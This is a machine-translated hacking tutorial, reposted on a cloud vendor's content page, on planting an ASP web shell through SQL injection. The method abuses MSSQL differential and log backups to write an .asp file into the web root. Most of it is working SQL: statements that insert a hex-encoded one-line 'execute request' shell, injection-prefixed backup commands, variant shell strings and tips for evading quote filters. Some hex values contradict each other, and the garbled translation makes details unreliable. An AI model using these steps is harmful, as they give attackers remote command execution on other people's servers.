Review SQL Server differential backup

Source: Internet
Author: User
Review SQL Server differential backup

Review SQL server differential backup

MSSQL differential backup is compared with the previous backup to back up different content. In this way, as long as new content is inserted after the previous backup, differential backup can back up the newly inserted content, and this backup file will be greatly reduced, and the success of webShell has also improved a lot!

The differential backup process is like this:
1. Complete backup once (save location can be changed of course)
Backup database name to disk = 'C: \ ddd. Bak ';--

2. Create a table and import data into the episode
Create table [dbo]. [dtest] ([cmd] [image]);
Insert into dtest (cmd) values (0x3c25657865637574502821357175657374282261222929253e );--

3. Differential backup
Backup database name to disk = 'destination location \ d. asp 'with differential, FORMAT ;--

Above
0x3c25657865637574502810957175657374282261222929253e
Is the content of a Trojan in one sentence: <% execute (request ("a") %>

The following is a common differential backup code on the Internet. The idea is the same!
========================================================== ==============
Increase the success rate of backupwebshell and reduce file size by using differential backup
Steps:
Declare @ a sysname, @ s nvarchar (4000) select @ a = db_name (), @ s = 0x77006F006B0061006F002E00620061006B00 backup database @ a to disk = @ s

Create table [dbo]. [xiaolu] ([cmd] [image]);

Insert into xiaolu (cmd) values (0x3c25657865637574502821357175657374282261222929253e)

Declare @ a sysname, @ s nvarchar (4000) select @ a = db_name (), @ s = backing backup database @ a to disk = @ s with differential, FORMAT

0x77006F006B0061006F002E00620061006B00 is wokao. bak
0x3c25657865637574502810957175657374282261222929253e is <% execute (request ("a") %>
Authorization is e: \ web \ wokao. asp

Declaration: The method is not what I think. I only write a tool and the default shell is
<% Execute (request ("a") %>
========================================================== ======================================

I found that the above Code is sometimes invalid and is directly used

Backup database name to disk = 'C: \ ddd. Bak'

Create table [dbo]. [dtest] ([cmd] [image]);
Insert into dtest (cmd) values (0x3c25657865637574502821357175657374282261222929253e)

Backup database name to disk = 'destination location \ d. asp 'with differential, FORMAT ;--

But it can be successful, so write the original method! The idea was created by our predecessors. We do not know this!

The database name must be a valid database name, which can be obtained by common injection tools! If a website filters "'", convert the character content to a value!


There is also log Incremental backup on the Internet. I will record it.
========================================================== ==================
Another log Incremental Backup Technology:

'; Alter database null set recovery full --

'; Create table cmd (a image )--

'; Backup log null to disk = 'f: \ cmd' with init --

'; Insert into cmd (a) values (0x3c2565786563757450282135717565737428226122292
9253EDA )--

'; Backup log null to disk = 'backup path '--

PS: 0x3c2565786563757450281095717565737428226122292
9253EDA is a sentence in hexadecimal conversion of pony.

When talking about a sentence, you can also write the following statements:

A). <% 25 Execute (request ("a") % 25>
B). <% Execute (request ("a") %>
C). %> <% execute request ("a") %> <%
D ).
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.